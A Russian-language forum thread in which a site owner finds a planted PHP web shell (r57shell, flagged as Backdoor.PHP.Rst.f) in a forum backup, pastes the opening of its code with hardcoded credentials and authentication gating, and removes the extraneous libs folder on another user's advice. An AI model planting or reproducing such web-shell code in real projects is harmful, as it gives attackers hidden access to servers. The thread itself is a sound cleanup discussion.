Троян на форуме

[Schedrin]

Ничего, как говорится, не предвещало...

Форум работал отлично, никаких проявлений вредоносного кода не было, антивир никогда не жаловался, etc.
Скачал на комп бэкап форума и через час зачем-то запустил Касперского проверить диск "С"....   Оба-на - скачанный файл содержит троянскую программу! Конкретно в public_html/libs/forum_lib.php сидит Вackdoor.PHP.Rst.f.

Захожу в панель управления хостингом...  Текущий путь: /  var/  www/  мой сайт/  data/  public_html/  libs/ 
В папке libs файл forum_lib.php имеет такой код:

Код Выделить Развернуть

<?php$language='ru';$auth = 1; $name='blein'; $pass='psw123'; /******************************************************************************************************/error_reporting(0);set_magic_quotes_runtime(0);[at]set_time_limit(0);[at]ini_set('max_execution_time',0);[at]ini_set('output_buffering',0);$safe_mode = [at]ini_get('safe_mode');$version = "1.24";if(version_compare(phpversion(), '4.1.0') == -1) { $_POST   = &$HTTP_POST_VARS; $_GET    = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }if ([at]get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v)  {  $_POST[$k] = stripslashes($v);  } foreach ($_SERVER as $k=>$v)  {  $_SERVER[$k] = stripslashes($v);  } }if($auth == 1) {if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)   {   header('WWW-Authenticate: Basic realm="Who are you ?"');   header('HTTP/1.0 401 Unauthorized');   exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");   }}   $head = '<!-- 

Вопрос. Что делать?  Что именно удалять?

[digger®]

Это шелл, его и удалять.

[Schedrin]

Это шелл, его и удалять.

Нужно полностью удалить всю папку libs?
Или папку оставить, но удалить находящийся в ней файл forum_lib.php?

[digger®]

Нужно полностью удалить всю папку libs?
Или папку оставить, но удалить находящийся в ней файл forum_lib.php?

В дистрибутиве форума нет папки libs, так что она к нему вообще не относится.

[Schedrin]

В дистрибутиве форума нет папки libs, так что она к нему вообще не относится.

Папку libs снес.
Сохранил бэкап - проверил Касперским - ща все ОК.
Спасибо.